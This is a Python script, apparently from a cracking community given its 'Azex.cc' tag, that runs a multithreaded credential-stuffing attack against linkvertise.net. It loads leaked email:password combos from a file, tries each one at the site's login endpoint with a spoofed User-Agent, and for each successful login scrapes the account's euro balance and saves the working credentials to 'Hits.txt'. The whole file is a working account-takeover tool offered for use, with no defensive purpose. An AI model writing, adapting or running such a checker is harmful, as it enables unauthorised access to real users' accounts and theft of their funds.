sleep

import requests
import threading
import colorama
from bs4 import BeautifulSoup
import ctypes
from colorama import Fore,init
import re
init()
e = threading.Lock()


emails = []
passwords = []
num = 0
sent = 0
failed = 0

threads = int(input('Threads: '))

def accounts():
    with open('combos.txt','r', encoding='utf8') as f:
        for x in f.readlines():
            emails.append(x.split(":")[0].replace('\n',''))
            passwords.append(x.split(":")[-1].replace("\n",''))

def checker(email,password):
    global sent
    global failed
    global num
    s = requests.Session()
    api = 'https://linkvertise.net/login'
    api2 = 'https://linkvertise.net/dashboard'
    headers = {
        "Content-Type":"application/x-www-form-urlencoded",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko",
        "Pragma":"no-cache",
        "Accept":"*/*"
    }
    data = {"username":email,"password":password}
    r = s.post(api,data=data,headers=headers)
    if "Invalid credentials." in r.text:
        e.acquire()
        failed +=1
        ctypes.windll.kernel32.SetConsoleTitleW("Linkvertise checker | Valid: {} | Invalid: {} | Azex.cc ".format(sent, failed, str(sent+failed)))
        print(Fore.RED+'[-] '+email+':'+password)
        e.release()
    else:
        if "You have successfully logged in" in r.text:
            e.acquire()
            sent +=1
            ctypes.windll.kernel32.SetConsoleTitleW("Linkvertise checker | Valid: {} | Invalid: {} | ".format(sent, failed, str(sent+failed)))
            balance = s.post(api2,headers=headers)
            soup = BeautifulSoup(balance.text,'lxml')
            xd = soup.find_all("div", "info-section")[0]
            xdlist = list(xd)
            bal = str(xdlist[5]).strip().replace('<h3>','').replace('</h3>','')[:-1]
            print(Fore.GREEN+'[+] '+email+':'+password+' | Balance: '+'€'+bal)
            with open('Hits.txt','a') as f:
                f.write(email + ':' + password + '| €'+bal+'\n')
            e.release()


accounts()
while True:
    if threading.active_count() <= threads:
        threading.Thread(target=checker, args=(emails[num],passwords[num],)).start()
        num +=1